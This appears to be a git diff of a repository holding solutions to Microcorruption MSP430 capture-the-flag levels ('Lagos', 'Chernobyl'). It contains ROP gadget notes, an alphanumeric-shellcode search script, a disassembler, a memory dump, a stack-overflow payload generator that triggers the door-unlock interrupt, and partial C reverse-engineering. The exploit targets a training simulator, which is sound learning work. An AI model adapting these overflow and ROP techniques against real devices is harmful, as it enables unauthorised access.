add @sp+, r15
realfunc:
push #0x7f
call 45fc
3012 7e00 b012 fc45
; Step 1: Create a bootstrapper out of alphanumeric characters, and store it on the stack
; this instruction pops a value off the stack and subtracts it from pc. Perfect for
subc @sp+, pc
b'passwordpassword1'+(b'\x30\x71'*0x1a4)+b'00000000000000'
code snippets:
; pop to register
3n413041 ; nA0A
pop Rn
ret
; popadd to register
add @sp+, rN ; nq0A
ret
32413041 ; 2A0A
pop sr
ret
ROP gadgets:
Pop sr
Move byte relative to R4 into r15
4464 ("Dd"):
mov.b -0x4(r4), r15
sxt r15
add #0x8, sp
pop r4
ret
Pop r4:
446c ("Dl")
pop r4
ret
passwordpassword1DlDd

64
16 - Lagos/Lagos.asm Normal file
View File

@ -0,0 +1,64 @@
login:
; calling convention
455e: 0b12 push r11
; print message
4560: 3150 f0ff add #0xfff0, sp
4564: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
4568: b012 6046 call #0x4660 <puts>
456c: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4570: b012 6046 call #0x4660 <puts>
4574: 3f40 c544 mov #0x44c5 "Due to some users abusing our login system, we have", r15
4578: b012 6046 call #0x4660 <puts>
457c: 3f40 f944 mov #0x44f9 "restricted passwords to only alphanumeric characters.", r15
4580: b012 6046 call #0x4660 <puts>
; Move 0x200 B from stdin to 0x2400
4584: 3e40 0002 mov #0x200, r14
4588: 3f40 0024 mov #0x2400, r15
458c: b012 5046 call #0x4650 <getsn>
; set up registers
4590: 5f42 0024 mov.b &0x2400, r15
4594: 0e43 clr r14
4596: 7c40 0900 mov.b #0x9, r12
459a: 7d40 1900 mov.b #0x19, r13
; jump into loop
459e: 073c jmp $+0x10 <login+0x50>
; Get a character
45a0: 0b41 mov sp, r11
45a2: 0b5e add r14, r11
45a4: cb4f 0000 mov.b r15, 0x0(r11)
; move the character to
45a8: 5f4e 0024 mov.b 0x2400(r14), r15
45ac: 1e53 inc r14
login_0x50:
45ae: 4b4f mov.b r15, r11
45b0: 7b50 d0ff add.b #0xffd0, r11
45b4: 4c9b cmp.b r11, r12
45b6: f42f jc $-0x16 <login+0x42>
45b8: 7b50 efff add.b #0xffef, r11
45bc: 4d9b cmp.b r11, r13
45be: f02f jc $-0x1e <login+0x42>
45c0: 7b50 e0ff add.b #0xffe0, r11
45c4: 4d9b cmp.b r11, r13
45c6: ec2f jc $-0x26 <login+0x42>
; Delete the byte at the unalignment position
45c8: c143 0000 mov.b #0x0, 0x0(sp)
; Reset the temporary buffer to all 0
45cc: 3d40 0002 mov #0x200, r13
45d0: 0e43 clr r14
45d2: 3f40 0024 mov #0x2400, r15
45d6: b012 8c46 call #0x468c <memset>
45da: 0f41 mov sp, r15
45dc: b012 4644 call #0x4446 <conditional_unlock_door>
45e0: 0f93 tst r15
45e2: 0324 jz $+0x8 <login+0x8c>
45e4: 3f40 2f45 mov #0x452f "Access granted.", r15
45e8: 023c jmp $+0x6 <login+0x90>
45ea: 3f40 3f45 mov #0x453f "That password is not correct.", r15
45ee: b012 6046 call #0x4660 <puts>
45f2: 3150 1000 add #0x10, sp
; calling convention
45f6: 3b41 pop r11
45f8: 3041 ret

249
16 - Lagos/disassemble.py Normal file
View File

@ -0,0 +1,249 @@
# Copied from MSProbe/msprobe.py
PC = 0 #Incremented by each disassembled instruction, incremented in words NOT bytes
asm = [0x7f7f, 0x4242, 0x4343] # fuck you *hardcodes your instructions
output = {}
register_names = ['pc', 'sp', 'sr', 'cg', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15']
def dis_int(i: int, e: str = 'big'):
dis_bytes(i.to_bytes(6,'big'), e)
def dis_bytes(b: bytes, e: str = 'big'):
global PC, asm
asm[0] = int.from_bytes(b[0:2], e)
asm[1] = int.from_bytes(b[2:4], e)
asm[2] = int.from_bytes(b[4:6], e)
PC = 0
return disassemble(asm[PC])
def bitrep(number, bits = 16):
"""Converts to binary form, fixing leading zeroes."""
mask = int('0b' + '1' * bits, 2)
binstr = str(bin(number & mask))[2:]
#negative = binstr[0] == '-'
bitcount = len(binstr)
leading0s = bits - bitcount
return ('0' * leading0s) + binstr
def hexrep(number, zeroes = 4):
"""Converts to hex form, fixing leading zeroes."""
mask = int('0b' + '1' * (zeroes * 4), 2)
hexstr = hex(number & mask)[2:]
hexcount = len(hexstr)
leading0s = zeroes - hexcount
return ('0' * leading0s) + hexstr
def disassemble(instruction):
"""Main disassembly, calls other disassembly functions given a 2-byte instruction."""
#Let's start by getting the binary representation.
#Need to invert bytes because little endian.
ins = bitrep(instruction)
#What kind of instruction are we dealing with?
if ins[0:3] == '001':
return disassemble_jump_instruction(ins)
elif ins[0:6] == '000100':
return disassemble_one_word_instruction(ins)
else:
return disassemble_two_word_instruction(ins)
one_word_opcodes = ['rrc', 'swpb', 'rra', 'sxt', 'push', 'call', 'reti']
def disassemble_one_word_instruction(ins):
"""Given a one-operand (format I) instruction in a 16-bit string, output disassembly."""
global PC #Get PC
bytemode = '.b' if ins[9] == '1' else ''
opcodeID = int(ins[6:9], 2)
opcode = one_word_opcodes[opcodeID]
reg = int(ins[12:], 2)
adrmode = int(ins[10:12], 2)
reg_output, extensionWord = disassemble_addressing_mode(reg, adrmode)
PC += 1 + (1 if extensionWord else 0)
return opcode + bytemode + ' ' + reg_output
jump_opcodes = ['jne', 'jeq', 'jlo', 'jhs', 'jn ', 'jge', 'jl ', 'jmp']
def disassemble_jump_instruction(ins):
"""Given a jump instruction (format II) in a 16-bit string, output disassembly."""
global PC #Get PC
condition = int(ins[3:6], 2) #Get condition code from bits
#Sign extend
offset = ins[6] * 6 + ins[6:]
sign_subtract = 65536 if offset[0] == '1' else 0 #Sign bit
pcOffset = ((int(offset, 2) - sign_subtract) * 2) + 2
#Add a plus if it's not negative for readability
plus = '+' if sign_subtract == 0 else ''
PC += 1
return jump_opcodes[condition] + ' ' + plus + hex(pcOffset)
#Two-operand opcodes start at 4 (0b0100)
two_word_opcodes = ['!!!', '!!!', '!!!', '!!!', 'mov', 'add', 'addc', 'subc', 'sub', 'cmp', 'dadd', 'bit', 'bic', 'bis', 'xor', 'and']
def disassemble_two_word_instruction(ins):
"""Given a two-operand instruction (format III) in a 16-bit string, output disassembly."""
global PC #Get PC
bytemode = '.b' if ins[9] == '1' else ''
opcodeID = int(ins[0:4], 2)
opcode = two_word_opcodes[opcodeID]
srcReg = int(ins[4:8], 2)
srcAdrMode = int(ins[10:12], 2)
reg_output_src, extWordSrc = disassemble_addressing_mode(srcReg, srcAdrMode)
PC += 1 if extWordSrc else 0
dstReg = int(ins[12:], 2)
dstAdrMode = int(ins[8], 2)
reg_output_dst, ext_word_dst = disassemble_addressing_mode(dstReg, dstAdrMode)
PC += 1 if ext_word_dst else 0
PC += 1 #Instruction word
finalins = opcode + bytemode + ' ' + reg_output_src + ', ' + reg_output_dst
#Disassemble pseudo (emulated) instructions
#These are the easy ones to catch
finalins = 'ret' if finalins == 'mov @sp+, pc' else finalins
#Status register twiddling
finalins = 'clrc' if finalins == 'bic #1, sr' else finalins
finalins = 'setc' if finalins == 'bis #1, sr' else finalins
finalins = 'clrz' if finalins == 'bic #2, sr' else finalins
finalins = 'setz' if finalins == 'bis #2, sr' else finalins
finalins = 'clrn' if finalins == 'bic #4, sr' else finalins
finalins = 'setn' if finalins == 'bis #4, sr' else finalins
finalins = 'dint' if finalins == 'bic #8, sr' else finalins
finalins = 'eint' if finalins == 'bic #8, sr' else finalins
#nop = mov dst, dst
finalins = 'nop' if opcode == 'mov' and reg_output_src == reg_output_dst else finalins
#These ones require a small amount of effort because it uses any register.
#All of these are one-operand instructions, so if we need to reassemble
#the instruction, it'll simply follow the one-operand format.
reassembleins = True
uses_dest = True
#Branch. Requires a little bit of extra sanity checking
#because it could get mistaken for ret
if opcode == 'mov' and reg_output_dst == 'pc' and finalins != 'ret': #br = mov src, pc
opcode = 'br'
uses_dest = False #We're actually using src here
#Pop. Could also get mistaken for ret.
elif opcode == 'mov' and reg_output_src == '@sp+' and finalins != 'ret': #pop = mov @sp+, dst
opcode = 'pop'
#Shift and rotate left
elif opcode == 'add' and srcReg == dstReg: #rla = add dst, dst
opcode = 'rla'
elif opcode == 'addc' and srcReg == dstReg: #rlc = addc dst, dst
opcode = 'rlc'
#Common one-operand instructions
elif opcode == 'xor' and reg_output_src == '#0xffff {-1}': #inv = xor 0xffff, dst
opcode = 'inv'
#Extra sanity checking to prevent being mistaken for nop
elif opcode == 'mov' and reg_output_src == '#0' and reg_output_dst != '#0': #clr = mov #0, dst
opcode = 'clr'
elif opcode == 'cmp' and reg_output_src == '#0': #tst = cmp #0, dst
opcode = 'tst'
#Increment and decrement (by one or two)
elif opcode == 'sub' and reg_output_src == '#1': #dec = sub #1, dst
opcode = 'dec'
elif opcode == 'sub' and reg_output_src == '#2': #decd = sub #2, dst
opcode = 'decd'
elif opcode == 'add' and reg_output_src == '#1': #inc = add #1, dst
opcode = 'inc'
elif opcode == 'add' and reg_output_src == '#2': #incd = add #1, dst
opcode = 'incd'
#Add and subtract only the carry bit:
elif opcode == 'addc' and reg_output_src == '#0': #adc = addc #0, dst
opcode = 'adc'
elif opcode == 'dadd' and reg_output_src == '#0': #dadc = dadd #0, dst
opcode = 'dadc'
elif opcode == 'subc' and reg_output_src == '#0': #sbc = subc #0, dst
opcode = 'sbc'
#The instruction is not an emulated instruction
else:
reassembleins = False
if reassembleins:
finalins = opcode + bytemode + ' ' + (reg_output_dst if uses_dest else reg_output_src)
return finalins
adr_modes = ['{register}', '{index}({register})', '@{register}', '@{register}+']
def disassemble_addressing_mode(reg, adrmode):
"""Outputs disassembly of a register's addressing mode and whether an extension
word was used (to update PC accordingly in the calling function),
given the register number and addressing mode number."""
#http://mspgcc.sourceforge.net/manual/x147.html
extensionWord = False
#print(f"{PC = :x}, {asm = }", end="");
#r2 (status register) and r3 (CG) are encoded as constant registers
if reg == 2:
if adrmode == 0: #Normal access
reg_output = adr_modes[adrmode].format(register=register_names[reg])
elif adrmode == 1: #Absolute address using extension word
reg_output = '&' + hex(asm[PC + 1]) #Get next word
extensionWord = True
elif adrmode == 2:
reg_output = '#4'
elif adrmode == 3:
reg_output = '#8'
elif reg == 3:
if adrmode == 0:
reg_output = '#0'
elif adrmode == 1:
reg_output = '#1'
elif adrmode == 2:
reg_output = '#2'
elif adrmode == 3:
#Just a little reminder that all bits set == -1
reg_output = '#0xffff {-1}'
elif adrmode == 0:
reg_output = adr_modes[adrmode].format(register=register_names[reg])
elif adrmode == 1:
reg_output = adr_modes[adrmode].format(register=register_names[reg], index=hex(asm[PC + 1]))
extensionWord = True
elif adrmode == 2:
reg_output = adr_modes[adrmode].format(register=register_names[reg])
elif adrmode == 3 and reg == 0: #PC was incremented for a constant
reg_output = '#' + hex(asm[PC + 1])
extensionWord = True
elif adrmode == 3:
reg_output = adr_modes[adrmode].format(register=register_names[reg])
return (reg_output, extensionWord)

View File

@ -0,0 +1,62 @@
import string
from string import printable
from math import ceil, floor
valid = 0
valid_chars = (string.digits + string.ascii_uppercase + string.ascii_lowercase).encode()
def u16(i:int):
return i & 0xffff
def half_pair(i: int) -> list:
i = u16(i)
return [floor(i/2), ceil(i/2)]
def neg_half_pair(i: int) -> list:
# 2's c negate i
i = 0x10000 - u16(i)
return half_pair(i)
def not_in_set(set, start: int = 0x0, end: int = 0xff):
for char in range(start, end+1):
if char not in set:
print(F"{char:02x}[{chr(char)}]", end=" ")
def isprintable(char: int):
return f'{chr(char)}' if char > 0x30 and chr(char) in printable else "."
# for solution in sorted(solutions):
# print(f"{solution:02x} '{isprintable(solution)}'= {solutions[solution]}")
def bfs(start, end, characters = valid_chars): #function for BFS
solutions = {}
queue = []
# Populate solutions with trivial solutions, and queue with the same
for character in characters:
solutions[character] = f'{character:x}';
queue.append(character)
# loop until the queue is empty, and every reachable number has been found
while queue:
current = queue.pop(0)
for neighbor in characters:
for operator, operation in [['+', int.__add__], ['-', int.__sub__]]:
new = operation(current, neighbor)
if new in solutions: continue
if new in range(start, end+1):
solutions[new] = f"{solutions[current]} {operator} {neighbor:x}"
queue.append(new)
return solutions
super_valid_chars:bytes = []
for one in valid_chars:
for two in valid_chars:
super_valid_chars.append (int.from_bytes(one.to_bytes(1, 'big') + two.to_bytes(1, 'big'), 'big'))
solutions = bfs(0, 0xffff, super_valid_chars)
for solution in sorted(solutions):
bas = solution.to_bytes(2, 'big')
print(f"{solution:04x} '{isprintable(bas[0])}{isprintable(bas[1])}'= {solutions[solution]}")
exit()

20
16 - Lagos/insgen.py Normal file
View File

@ -0,0 +1,20 @@
import string
import disassemble
from disassemble import disassemble, dis_bytes
# Instruction
def main():
valid_chars = string.digits + string.ascii_uppercase + string.ascii_lowercase
char = [0, 0]
for char[0] in valid_chars:
for char[1] in valid_chars:
word=(char[0]+char[1]).encode('ascii')
print(f"__{word[0]:x}{word[1]:x}_{word.decode('ascii')}AABB: {dis_bytes(word+ b'AABB')}")
# for dis in res:
# print()
# return 0
if __name__ == '__main__':
main()

BIN
16 - Lagos/instructions.asm Normal file

Binary file not shown.

65536
16 - Lagos/lut.txt Normal file

File diff suppressed because it is too large Load Diff

65536
16 - Lagos/lut2.txt Normal file

File diff suppressed because it is too large Load Diff

BIN
16 - Lagos/memory_clean.bin Normal file

Binary file not shown.

View File

@ -0,0 +1,63 @@
0000: 0000 4400 0000 0000 0000 0000 0000 0000 ..D.............
0010: 3041 0000 0000 0000 0000 0000 0000 0000 0A..............
0020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0030: *
4400: 3140 0044 1542 5c01 75f3 35d0 085a 3f40 1@.D.B\.u.5..Z?@
4410: 0000 0f93 0724 8245 5c01 2f83 9f4f f446 .....$.E\./..O.F
4420: 0024 f923 3f40 0102 0f93 0624 8245 5c01 .$.#?@.....$.E\.
4430: 1f83 cf43 0024 fa23 b012 5e45 32d0 f000 ...C.$.#..^E2...
4440: fd3f 3040 f246 0412 0441 2453 2183 c443 .?0@.F...A$S!..C
4450: fcff 3e40 fcff 0e54 0e12 0f12 3012 7e00 ..>@...T....0.~.
4460: b012 fc45 5f44 fcff 8f11 3152 3441 3041 ...E_D....1R4A0A
4470: 456e 7465 7220 7468 6520 7061 7373 776f Enter the passwo
4480: 7264 2074 6f20 636f 6e74 696e 7565 2e00 rd to continue..
4490: 5265 6d65 6d62 6572 3a20 7061 7373 776f Remember: passwo
44a0: 7264 7320 6172 6520 6265 7477 6565 6e20 rds are between
44b0: 3820 616e 6420 3136 2063 6861 7261 6374 8 and 16 charact
44c0: 6572 732e 0044 7565 2074 6f20 736f 6d65 ers..Due to some
44d0: 2075 7365 7273 2061 6275 7369 6e67 206f users abusing o
44e0: 7572 206c 6f67 696e 2073 7973 7465 6d2c ur login system,
44f0: 2077 6520 6861 7665 0072 6573 7472 6963 we have.restric
4500: 7465 6420 7061 7373 776f 7264 7320 746f ted passwords to
4510: 206f 6e6c 7920 616c 7068 616e 756d 6572 only alphanumer
4520: 6963 2063 6861 7261 6374 6572 732e 0041 ic characters..A
4530: 6363 6573 7320 6772 616e 7465 642e 0054 ccess granted..T
4540: 6861 7420 7061 7373 776f 7264 2069 7320 hat password is
4550: 6e6f 7420 636f 7272 6563 742e 0000 0b12 not correct.....
4560: 3150 f0ff 3f40 7044 b012 6046 3f40 9044 1P..?@pD..`F?@.D
4570: b012 6046 3f40 c544 b012 6046 3f40 f944 ..`F?@.D..`F?@.D
4580: b012 6046 3e40 0002 3f40 0024 b012 5046 ..`F>@..?@.$..PF
4590: 5f42 0024 0e43 7c40 0900 7d40 1900 073c _B.$.C|@..}@...<
45a0: 0b41 0b5e cb4f 0000 5f4e 0024 1e53 4b4f .A.^.O.._N.$.SKO
45b0: 7b50 d0ff 4c9b f42f 7b50 efff 4d9b f02f {P..L../{P..M../
45c0: 7b50 e0ff 4d9b ec2f c143 0000 3d40 0002 {P..M../.C..=@..
45d0: 0e43 3f40 0024 b012 8c46 0f41 b012 4644 .C?@.$...F.A..FD
45e0: 0f93 0324 3f40 2f45 023c 3f40 3f45 b012 ...$?@/E.<?@?E..
45f0: 6046 3150 1000 3b41 3041 3041 1e41 0200 `F1P..;A0A0A.A..
4600: 0212 0f4e 8f10 024f 32d0 0080 b012 1000 ...N...O2.......
4610: 3241 3041 2183 0f12 0312 814f 0400 b012 2A0A!......O....
4620: fc45 1f41 0400 3150 0600 3041 0412 0441 .E.A..1P..0A...A
4630: 2453 2183 3f40 fcff 0f54 0f12 1312 b012 $S!.?@...T......
4640: fc45 5f44 fcff 8f11 3150 0600 3441 3041 .E_D....1P..4A0A
4650: 0e12 0f12 2312 b012 fc45 3150 0600 3041 ....#....E1P..0A
4660: 0b12 0b4f 073c 1b53 8f11 0f12 0312 b012 ...O.<.S........
4670: fc45 2152 6f4b 4f93 f623 3012 0a00 0312 .E!RoKO..#0.....
4680: b012 fc45 2152 0f43 3b41 3041 0b12 0a12 ...E!R.C;A0A....
4690: 0912 0812 0b4f 3d90 0600 082c 043c cb4e .....O=....,.<.N
46a0: 0000 1b53 3d53 0d93 fa23 1e3c 4a4e 0a93 ...S=S...#.<JN..
46b0: 0324 0c4a 8c10 0adc 1fb3 0524 3d53 cf4e .$.J.......$=S.N
46c0: 0000 0b4f 1b53 0c4d 12c3 0c10 084b 094c ...O.S.M.....K.L
46d0: 884a 0000 2853 3953 fb23 0c5c 0c5b 1df3 .J..(S9S.#.\.[..
46e0: 0d99 0224 cc4e 0000 3841 3941 3a41 3b41 ...$.N..8A9A:A;A
46f0: 3041 0013 0000 0000 0000 0000 0000 0000 0A..............
4700: 0000 0000 0000 0000 0000 0000 0000 0000 ................
4710: *
ff80: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ff90: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffa0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffb0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffc0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffd0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffe0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
fff0: 4244 4244 4244 4244 4244 4244 4244 0044 BDBDBDBDBDBDBD.D

58
16 - Lagos/paygen.py Normal file
View File

@ -0,0 +1,58 @@
#!/usr/bin/env python3
from math import ceil, floor
import string
# Truncation
def u16(i:int):
return i & 0xffff
# Conversion
def stob(s: str):
return s.encode('ascii', "replace")
def btos(b: bytes):
return b.decode('ascii', "replace")
def btoi(b: bytes):
return int.from_bytes(b, 'little')
def itob(i: int):
return u16(i).to_bytes(2, 'little', signed=u16(i) < 0x8000);
'''
.text 0x4444
setup:
add #0x674a, sp ; sub #0x1e6e, sp
add #0x7a7a, sp ; sub #0x1e6e, sp
ret ; j #25c0
'''
setup_loadaddr = b'4444'
setup = b'31504e6731507a7a3041'
'''
.text 0x25c0
unlock:
mov #0xff00, sr
call #0010
'''
unlock_loadaddr = 0x25c0
unlock = b'324000ffb0121000'
# ret -> #25c0
fake_stack = b'c025'
raddr_position = 0xf
setup_position = 0x057
fake_stack_position = 0x1b6 # The loop must continue
exploit_position = 0x1c0
payloadbuffer = b'30' * 15
payloadbuffer = setup_loadaddr*16
payloadbuffer += b'30' * (setup_position - len(payloadbuffer)//2)
payloadbuffer += setup
payloadbuffer += b'30' * (fake_stack_position - len(payloadbuffer)//2)
payloadbuffer += fake_stack
payloadbuffer += b'30' * (exploit_position - len(payloadbuffer)//2)
payloadbuffer += unlock
print(payloadbuffer)
'''
444444444444444444444444444444444444444444444444444444444444444430303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030
'''

View File

@ -0,0 +1,96 @@
# Default to Google style
BasedOnStyle: Google
# Don't derive from file
DeriveLineEnding: false
DerivePointerAlignment: false
# Google limits lines to 80 columns. Don't do that.
ColumnLimit: 0
# Here there be controversy
IndentWidth: 3
ConstructorInitializerIndentWidth: 3
ContinuationIndentWidth: 3
# Alignment checks
AlignConsecutiveAssignments: true
AlignTrailingComments: true
# Sort include blocks, and regroup based on include category
SortIncludes: CaseInsensitive
IncludeBlocks: Regroup
# Allow short blocks on single line
AllowShortBlocksOnASingleLine: Always
AllowShortEnumsOnASingleLine: true
AllowShortFunctionsOnASingleLine: Inline
AllowShortIfStatementsOnASingleLine: AllIfsAndElse
AllowShortLambdasOnASingleLine: Inline
AllowShortLoopsOnASingleLine: true
# Except case statements
AllowShortCaseLabelsOnASingleLine: false
# Line wrapping should not happen, but just in case, keep the args together
BinPackArguments: true
BinPackParameters: true
# When bitfield-packing a struct, spaces go after the colon, not before
BitFieldColonSpacing: After
# By default, braces are obnoxiously wrapped to newlines
BreakBeforeBraces: Custom
# Disable that
BraceWrapping:
AfterEnum: false
AfterFunction: false
AfterNamespace: false
AfterStruct: false
AfterUnion: false
AfterExternBlock: false
AfterControlStatement: false
BeforeCatch: false
BeforeElse: false
BeforeLambdaBody: false
BeforeWhile: false
IndentBraces: false
SplitEmptyFunction: false
# Don't break before ?:, it looks ugly
BreakBeforeTernaryOperators: false
# Trim empty lines when there are more than 1
MaxEmptyLinesToKeep: 1
# Align &*s toward the variable name (i.e. int &number; char *cstring)
ReferenceAlignment: Pointer
PointerAlignment: Right
# Put spaces after (int) c_style_casts and template <T>, but !after '!' operator
SpaceAfterCStyleCast: true
SpaceAfterLogicalNot: false
SpaceAfterTemplateKeyword: true
# Put spaces before \.?\= operators, initializer {lists}, inline (parentheses), // comments.
SpaceBeforeAssignmentOperators: true
SpaceBeforeCpp11BracedList: true
SpaceBeforeParens: Always
SpacesBeforeTrailingComments: 1
SpacesInLineCommentPrefix:
Minimum: 1
# Don't put spaces in case : statements, object : inheritance,
# for (auto& loops : range), conditional ( statements ), ( parentheses ), [ brackets ]
SpaceBeforeCaseColon: false
SpaceBeforeInheritanceColon: false
SpaceBeforeRangeBasedForLoopColon: false
SpacesInConditionalStatement: false
SpacesInParentheses: false
SpacesInSquareBrackets: false
# Always use LF for line breaks, and NEVER use tabs for indentation
UseCRLF: false
UseTab: Never

Binary file not shown.

After

Width:  |  Height:  |  Size: 416 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 492 KiB

View File

@ -0,0 +1,59 @@
# ---------- Variables listed below --------- #
# Executable
TARGET := chernobyl.out
# Paths to source, include, dependency, and object files
SPATH = src
IPATH = inc
DPATH = dep
OPATH = obj
# File type of source file
STYPE = c
VPATH = $(SPATH) $(IPATH) $(DPATH) $(OPATH)
# compiler and compiler flags
CC = g++
CFLAGS = -I$(IPATH) -std=c++11 -Os
# list of object files
SOURCES = $(wildcard $(SPATH)/*.$(STYPE))
OBJECTS = $(addprefix $(OPATH)/,$(notdir $(SOURCES:.$(STYPE)=.o)))
# ----------- Targets listed below ---------- #
# Some targets aren't real
.PHONY: all clean run dump
# Don't autodelete object files:
.PRECIOUS: $(OPATH)/%.o
all: $(DPATH) $(OPATH) $(TARGET)
dump:
@echo SOURCES: $(SOURCES)
@echo OBJECTS: $(OBJECTS)
@echo TARGET: $(TARGET)
@echo VPATH: $(VPATH)
clean:
-rm $(TARGET)
-rm -r dep obj
run:
-$(addprefix ./,$(addsuffix ;,$(TARGET)))
$(DPATH) $(OPATH):
mkdir -p $@
# Make the executable(s)
%.out: $(OBJECTS)
$(CC) $(CFLAGS) -o "$@" $^
# Make the object and dependency files
$(OPATH)/%.o: $(SPATH)/%.$(STYPE)
$(CC) $(CFLAGS) -MMD -MF "$(DPATH)/$(@F:.o=.d)" -o "$@" -c "$<"
# --------- Inclusions listed below --------- #
# use dependencies when rebuilding
-include $(wildcard $(DPATH)/*.d)

View File

@ -0,0 +1,24 @@
#!/usr/bin/env python3
# TODO: Actually break the hashes?
# May not be necessary, just gotta find a way to crash it. Harumph.
def hash(byts):
ret = 0;
for c in byts:
ret += c
ret = ((ret << 5) - ret) & 0xffff
return ret
while True:
try:
line = input("> ")
if (line[0] == '~'):
h = hash(bytes.fromhex(line[1:]));
else:
h = hash(line.encode())
print(f"hash: {h:x}, box: {h&7:x}");
except EOFError:
break
print("")

View File

@ -0,0 +1,40 @@
#ifndef CHERNOBYL_H
#define CHERNOBYL_H
#include "chernobyl_types.h"
u16 _main ();
u16 walk (u16 r15);
u16 run ();
u16 *create_hash_table (u16 r15, u16 r14);
u16 add_to_table (u16 r15, u16 r14, u16 r13);
// Return address of a buffer from the table
// r15 = buffer address. r14
u16 get_from_table (void * r15, char * r14);
u16 hash (char *str);
u16 rehash (u16 r15, u16 r14);
#define s_4566 "\r\r"
#define s_4569 "%x [alloc] [p %x] [n %x] [s %x]"
#define s_4588 " "
#define s_458b " {%x} [ "
#define s_4594 "%x "
#define s_4599 "%x [freed] [p %x] [n %x] [s %x]"
#define s_465e "Heap exhausted; aborting."
#define s_4a38 "Welcome to the lock controller."
#define s_4a58 "You can open the door by entering 'access [your name] [pin]'"
#define s_4a95 ""
#define s_4a96 "No such box."
#define s_4aa3 "Access granted."
#define s_4ab3 "Access granted; but account not activated."
#define s_4ade "Aceess denied" // [sic]
#define s_4aec "Can not have a pin with high bit set."
#define s_4b12 "User already has an account."
#define s_4b2f "Adding user account %s with pin %x."
#define s_4b54 "Invalid command."
#endif

View File

@ -0,0 +1,21 @@
#ifndef CHERNOBYL_STDLIB_H
#define CHERNOBYL_STDLIB_H
#include "chernobyl_types.h"
// Standard library functions
// These use MSPGCC calling convention:
// https://www.ti.com/lit/an/slaa664/slaa664.pdf?ts=1659422621072
// ( Or see https://nhivp.github.io/msp430-gcc/2018-07-20/function-calling-convention )
void *_malloc (u16 size);
void _free (void *ptr);
u16 _putchar (char c);
i16 _getchar ();
void _puts (const char *s);
void _getsn (char *__restrict buf, u16 length);
int _strcmp (const char *s1, const char *s2);
void INT (u16 interrupt);
void swpb (u16 *word);
#endif

View File

@ -0,0 +1,32 @@
#ifndef CHERNOBYL_TYPES_H
#define CHERNOBYL_TYPES_H
#include <stdint.h>
typedef uint16_t u16;
typedef int16_t i16;
typedef uint8_t u8;
typedef int8_t i8;
typedef struct registers {
// Registers = initial_state
u16 sp; // stack pointer
u16 sr; // status register
// General-purpose registers
// Caller-saved registers
u16 r4; // GPR 4
u16 r5; // GPR 5
u16 r6; // GPR 6
u16 r7; // GPR 7
u16 r8; // GPR 8
u16 r9; // GPR 9
u16 r10; // GPR 10
u16 r11; // GPR 11
// Callee-saved registers / function arguments / return value(s)
u16 r12; // GPR 12 ; arg 3
u16 r13; // GPR 13 ; arg 2
u16 r14; // GPR 14 ; arg 1
u16 r15; // GPR 15 ; arg 0
} re;
#endif

View File

@ -0,0 +1,130 @@
#include "chernobyl.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "chernobyl_stdlib.h"
#include "chernobyl_types.h"
u16 to_decimal (char *buf) {
u16 num = 0; // r10
while (*buf) {
num *= 10;
num += *buf - '0';
buf++;
}
return num;
}
int main (int argc, char **argv) {
if (argc == 1) {
char buf[0x600] = {0};
while (printf(">> "), _getsn (buf, 0x5ff), !feof (stdin)) {
printf ("hash: %x, dec: %x\n", hash (buf), to_decimal(buf));
};
}
if (argc == 2) {
printf ("hash: %x\n", hash (argv[1]));
}
return 0;
}
u16 _main () {
run ();
return 0;
}
u16 walk (u16 r15) {
puts (s_4566); // "\n\n"
printf (s_4569); //%x [alloc] [p %x] [n %x] [s %x]
return 0;
}
// 0x4b66: run
u16 run () {
// move stack -0x600
char buf[0x600];
u16 *hashtable = create_hash_table (0x3, 0x5); // todo: What do these args mean?
// 4b82: Print out some shit
puts (s_4a38); // "Welcome to the lock controller."
puts (s_4a58); // "You can open the door by entering 'access [your name] [pin]'"
puts (s_4a95); // ""
while (1) {
// 4b9a: zero out the stack buffer
for (int r14 = 0; r14 < 0x5ff; r14++) {
buf[r14] = 0;
}
// 4bb0: get 0x550 characters -> stack buffer
_getsn (buf, 0x550);
// 4bba: loop over the user input:
u16 index = 0;
while (buf[index] != 0) {
// 4bbe: check for 'a'
if (buf[index] == 'a') {
index += 7;
char *name = &buf[index];
// skip spaces
while (buf[index++] != ' ') {
if (buf[index] == 0)
break;
};
} else if (buf[index] == 'n') {
index += 4;
// skip spaces
while (buf[index++] != ' ') {
if (buf[index] == 0)
break;
};
} else {
return -1;
}
}
}
// end of the function
puts (s_4b54); // "Invalid command."
return 1;
}
u16 *create_hash_table (u16 r15, u16 r14) {
// todo: RE hash table creation
u8 *buf = (u8 *) malloc (0xa);
buf[0] = 0;
return 0;
}
// Hash the string stored at addr
u16 hash (char *addr) {
u16 chr, hash = 0;
while (*addr) {
hash = *addr + hash;
hash = (hash << 5) - hash;
addr++;
}
return hash;
}
u16 add_to_table (u16 r15, u16 r14, u16 r13) {
// todo: add_to_table
return 0;
}
// get_from_table hash_table* table, string* username
u16 get_from_table (void *r15, char *r14) {
u16 h = hash (r14);
u16 num = ((u16 *) r15)[2];
u16 power_of_two = (1 << num) - 1;
power_of_two = (power_of_two & h) << 1;
num = ((u16 *) r15)[6];
return 0;
}
u16 rehash (u16 r15, u16 r14) {
// todo: this function is very long and performs dynalloc
return 0;
}

View File

@ -0,0 +1,87 @@
#include "chernobyl_stdlib.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "chernobyl.h"
#include "chernobyl_types.h"
#define HEAP_BASE 0x2400
void __trap_interrupt () {
// Hardware will do something here
return;
}
void set_w (u16* addr, u16 value) {
*((u16 *) &addr) = value;
}
u16 get_w (u16 *addr) {
return *((u16 *) addr);
}
void *_malloc (u16 size) {
